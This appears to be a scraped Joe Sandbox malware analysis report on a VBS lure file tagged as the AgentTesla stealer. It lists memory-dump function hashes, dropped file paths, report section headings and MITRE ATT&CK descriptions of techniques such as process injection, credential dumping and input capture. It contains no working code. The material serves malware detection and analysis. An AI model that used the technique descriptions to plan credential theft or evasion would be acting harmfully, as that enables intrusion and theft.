Instruction ID: cef42461536673ba3148fdc4b82d39fd8944c8407a066c969b1880e7a0703a82
Opcode Fuzzy Hash: d8eff2b7a347ce611e8d29dc6fff21f07e0ff602633724ff173c45ecaa35cf5c
Instruction Fuzzy Hash: 8F018472A40219CFCFA1EFB9845029D77F6EB48254B11907AD509EB201E731C9418FD5

Uniqueness

Uniqueness Score: -1.00%

Function 28AF70C8 Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6da9bc427779dcfc4c047ef6bc6ef205d359dcc1516d72f0c3fc88373865ce3
Instruction ID: 636c896ee85f6ab66017fc25f74da7e75eac2899d2447337d2f7175f25dc535a
Opcode Fuzzy Hash: d6da9bc427779dcfc4c047ef6bc6ef205d359dcc1516d72f0c3fc88373865ce3
Instruction Fuzzy Hash: 0911D0B5D01259AFDB00CF9AD884BCEFBB4FF49310F10812AE918A7340C374A954CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 28AF7650 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37b5cbf48df7c62b08cbb72fab8c2e7967c7e194bd3a755379a1b0a81b76eec4
Instruction ID: e37eca96bb68fb61bf26ab1b5399d51933b71ad5ad11592016d03fb4dd39a26c
Opcode Fuzzy Hash: 37b5cbf48df7c62b08cbb72fab8c2e7967c7e194bd3a755379a1b0a81b76eec4
Instruction Fuzzy Hash: 2E01A9B17000104BD7449A7D8454B0BB7CAEBDC720F20883DF00EDB742DE6ADD0243A5

Uniqueness

Uniqueness Score: -1.00%

Function 02EF8048 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a73abf3086760303703ab3bbb003215fdc3e2467960ce1ea5589fe3d6905059b
Instruction ID: 0f794d93bdaaba4c9880b8098b453480e202194eede589cdb06fba44b12c89c6
Opcode Fuzzy Hash: a73abf3086760303703ab3bbb003215fdc3e2467960ce1ea5589fe3d6905059b
Instruction Fuzzy Hash: 9F0162327003154FDB149A798868A2F7BEBAFC8B653518539DA05C7751FF31DC018665

Uniqueness

Uniqueness Score: -1.00%

Function 02EF8040 Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e82e0b71f1c8beb4c967a44a484a677eff7dfbac60ce2d87dfecd5963388f324
Instruction ID: 1bfd78d478240180973b4505b272a430d350c0ab4ebc7f839ef1753038ec2d44
Opcode Fuzzy Hash: e82e0b71f1c8beb4c967a44a484a677eff7dfbac60ce2d87dfecd5963388f324
Instruction Fuzzy Hash: 43018436B003114FD7149F7985A8A3E6BEBAF847553558539D905C7611FF31C8018254

Uniqueness

Uniqueness Score: -1.00%

Function 28AFDB58 Relevance: .0, Instructions: 46COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 33afb4b05e72fd754f0c8a10c765c7824c24fbeb31a1ce9be8b4832b86eb65b9
Instruction ID: 39023c6351fb06e1cbf081c9e56b58387d2884817ea349e31d974c029a223365
Opcode Fuzzy Hash: 33afb4b05e72fd754f0c8a10c765c7824c24fbeb31a1ce9be8b4832b86eb65b9
Instruction Fuzzy Hash: 290169307011148BD702EE3DD89471A77D6EB8D720F508839E10ADB352DE3AED428794

Uniqueness

Uniqueness Score: -1.00%

Function 02EFE290 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dd8141035859cf8134b47b3d236d11b7f9a4fc2d93bf8af8c4d05b0579fb9fb5
Instruction ID: 88b1b0aa3ea6aef92a1d04a60b4fad26ef35bc14d76d8eeb207662d559c60563
Opcode Fuzzy Hash: dd8141035859cf8134b47b3d236d11b7f9a4fc2d93bf8af8c4d05b0579fb9fb5
Instruction Fuzzy Hash: 2A01C871B10224ABDB649E75E84079E77BAFB89314F508439EB05EB341EB76B904CBC4

Uniqueness

Uniqueness Score: -1.00%

Function 02EF7DC8 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 085510c340a9b72688236f29d3dc70066847a9f239632517a2ed33bfaf248f4a
Instruction ID: 2cd2b7c3730762a98678bdbc2352b655f0ff56d0d04ad848dcaa6d2d76ee3cb3
Opcode Fuzzy Hash: 085510c340a9b72688236f29d3dc70066847a9f239632517a2ed33bfaf248f4a
Instruction Fuzzy Hash: 91F0AF3579810287EBE01D6584097B6A65DDB06699F54F47BA602CE180FF7ACCC0C66A

Uniqueness

Uniqueness Score: -1.00%

Function 28AFBB10 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3370ae8e6987d33b5789f2c1314bf532fbe0951a3c5c31da02a78188b8395909
Instruction ID: 468aee004730f2d076cd586fbbf62418cd85c547443e5c900e30a3a047d8634d
Opcode Fuzzy Hash: 3370ae8e6987d33b5789f2c1314bf532fbe0951a3c5c31da02a78188b8395909
Instruction Fuzzy Hash: 89F0AF35607204CBCB149A56E981BA877B2FB64350F644476FA04D725ADA37DA07C750

Uniqueness

Uniqueness Score: -1.00%

Function 02EF7FAF Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a53cc07f66a9e7f9acde52adb24c29c15db405c494d15526afafa6aa4d949c9b
Instruction ID: 50cdd06faf330e89ec199d3a3f93944964353c298ae530f531bec6805b858fdb
Opcode Fuzzy Hash: a53cc07f66a9e7f9acde52adb24c29c15db405c494d15526afafa6aa4d949c9b
Instruction Fuzzy Hash: 30F0C871F401109FEB90EB78890137EBBE26F44314F50D465DB05E7281E7758A51CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02EFB488 Relevance: .0, Instructions: 34COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1a05f7df35d72e488f2fc8e772416ffa3135cad9ef7db1df39ddea484d18a4a8
Instruction ID: 01a24ce7fb5687b1b19c4c2ba5d9c9d3790083aa1c3280a500e4168808c07d74
Opcode Fuzzy Hash: 1a05f7df35d72e488f2fc8e772416ffa3135cad9ef7db1df39ddea484d18a4a8
Instruction Fuzzy Hash: B7F0C435B00114CFD714EB68C5A8B6D77B2EF88716F5440A8E9069B3A0DB79AD42CB40

Uniqueness

Uniqueness Score: -1.00%

Function 02EFC0F0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47f3e4b8ed071bc2ae040cbaae37d3cf66b019c79f83980234d61b28bcb7a05
Instruction ID: 4a8cc12d86357456129357677221203ed43e676982ccee7c6dff0e86e1ba26ea
Opcode Fuzzy Hash: b47f3e4b8ed071bc2ae040cbaae37d3cf66b019c79f83980234d61b28bcb7a05
Instruction Fuzzy Hash: F4F0FF70A00209AFDB05EBB8E99159D7BF6EF44300FD046A9C204AB251EF75AF549B91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFAC2D Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c008fe63d828f0259c94ebf75b5610440ef4cfb3b13774f544fd39b884094794
Instruction ID: 3baa3f1c120f6c1b197e3ff0e150603e212b808291d616fa4d89e8b6275f111f
Opcode Fuzzy Hash: c008fe63d828f0259c94ebf75b5610440ef4cfb3b13774f544fd39b884094794
Instruction Fuzzy Hash: 6EF06D30780209CFE744DF64C458BEA37B1BF0830AF119468D22ADF380CBB98A808B91

Uniqueness

Uniqueness Score: -1.00%

Function 02EFAC36 Relevance: .0, Instructions: 30COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c008fe63d828f0259c94ebf75b5610440ef4cfb3b13774f544fd39b884094794
Instruction ID: 3baa3f1c120f6c1b197e3ff0e150603e212b808291d616fa4d89e8b6275f111f
Opcode Fuzzy Hash: c008fe63d828f0259c94ebf75b5610440ef4cfb3b13774f544fd39b884094794
Instruction Fuzzy Hash: 6EF06D30780209CFE744DF64C458BEA37B1BF0830AF119468D22ADF380CBB98A808B91

Uniqueness

Uniqueness Score: -1.00%

Function 28AF98B1 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2648155851.0000000028AF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28AF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_28af0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cad4e59e67816bbc8700a66713f6b131cf70a645353e0807cdd97c663d0b4eb
Instruction ID: ea4f89f17103f42636681bfde511a20d4263eeb0a2402ec631f7949d215593d6
Opcode Fuzzy Hash: 2cad4e59e67816bbc8700a66713f6b131cf70a645353e0807cdd97c663d0b4eb
Instruction Fuzzy Hash: 9BF06D71E06248AFDB10DAB08D857497BA9EB0A305F2548E6E408DB142EA37CA46D792

Uniqueness

Uniqueness Score: -1.00%

Function 02EF14B8 Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f02dc27203191d7cc18d95164c7d8167163fa76ec528cd486f3304c0a42966
Instruction ID: a6e24978e62ff2b444b5a93d72560f75ab99d38469a28a2c1d9d8c045fe5daca
Opcode Fuzzy Hash: 78f02dc27203191d7cc18d95164c7d8167163fa76ec528cd486f3304c0a42966
Instruction Fuzzy Hash: 48D0A735A9026547EB70445454803763365C7C52A9F919065ED6FDEB51F705C8914241

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02EF1A00 Relevance: 15.2, Strings: 12, Instructions: 193COMMON

Download Yara Rule

Strings

%, xrefs: 02EF1BEA
%, xrefs: 02EF1B7A
%, xrefs: 02EF1A2A
%, xrefs: 02EF1A5A
%, xrefs: 02EF1B8A
%, xrefs: 02EF1C2A
%, xrefs: 02EF1A1A
%, xrefs: 02EF1B1A
%, xrefs: 02EF1BFA
%, xrefs: 02EF1BAA
%, xrefs: 02EF1C1A
%, xrefs: 02EF1ACA

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID: %$%$%$%$%$%$%$%$%$%$%$%
API String ID: 0-1529166535
Opcode ID: 68c3b9ab7d798149276e11867a150aabe3b0f2675a48ec4ad5f8d6e0a2e85aec
Instruction ID: 4fe314f872fd93f46587080cabf52c517e6305e542a43dcc87ef5aa58689bee8
Opcode Fuzzy Hash: 68c3b9ab7d798149276e11867a150aabe3b0f2675a48ec4ad5f8d6e0a2e85aec
Instruction Fuzzy Hash: 3E51705284E7E99FE317577818B82C83F214F6728AF0A91D789948F0A3F459484DC3AB

Uniqueness

Uniqueness Score: -1.00%

Function 02EF1A62 Relevance: 12.6, Strings: 10, Instructions: 141COMMON

Download Yara Rule

Strings

%, xrefs: 02EF1A3A
%, xrefs: 02EF1B7A
%, xrefs: 02EF1A9A
%, xrefs: 02EF1C2A
%, xrefs: 02EF1B1A
%, xrefs: 02EF1B4A
%, xrefs: 02EF1BAA
%, xrefs: 02EF1C1A
%, xrefs: 02EF1ACA
%, xrefs: 02EF1AEA

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID: %$%$%$%$%$%$%$%$%$%
API String ID: 0-4035151967
Opcode ID: c1910929159f7e64586280ede5e4b3b04833b92991f583a9c5de7450f9fe3145
Instruction ID: 20dcf85088a27b797edd99c3846480d576f0855e07a77e4d575502b0bfa58b95
Opcode Fuzzy Hash: c1910929159f7e64586280ede5e4b3b04833b92991f583a9c5de7450f9fe3145
Instruction Fuzzy Hash: 8341CC4284E7E59FE317573458B82C83F214F5328AF0A90DBC9888F0A3F819484DC3AB

Uniqueness

Uniqueness Score: -1.00%

Function 02EF1A65 Relevance: 6.3, Strings: 5, Instructions: 63COMMON

Download Yara Rule

Strings

%, xrefs: 02EF1A9A
p^, xrefs: 02EF1A71
%, xrefs: 02EF1A6A
%, xrefs: 02EF1B1A
%, xrefs: 02EF1ACA

Memory Dump Source

Source File: 0000000C.00000002.2627068240.0000000002EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 02EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2ef0000_wab.jbxd

Similarity

API ID:
String ID: %$%$%$%$ p^
API String ID: 0-2690488090
Opcode ID: 9123ba8a60371d4e0c2db10ee4f1cc598724a1d91c19af09a4460130d149e25b
Instruction ID: 020abf93675732fc35d8525e972ae55e6792ec786913be1b8384c2d16cd1705a
Opcode Fuzzy Hash: 9123ba8a60371d4e0c2db10ee4f1cc598724a1d91c19af09a4460130d149e25b
Instruction Fuzzy Hash: BD11374280E7E55FE713A7286CB92C57F614F5314AF0A80D788948F0A3E919484DC7AF

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Command: Command Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Arrival Notice PUS_pdf.vbs

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Agenttesla

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_aaqfbwvt.xte.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_el1m15uv.qqi.ps1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_jnu3giay.tgb.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_realgte5.3nq.ps1

C:\Users\user\AppData\Roaming\Australians.Hov

Static File Info

General

File Icon

Network Behavior

Network Port Distribution

TCP Packets

Windows Analysis Report
Arrival Notice PUS_pdf.vbs

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
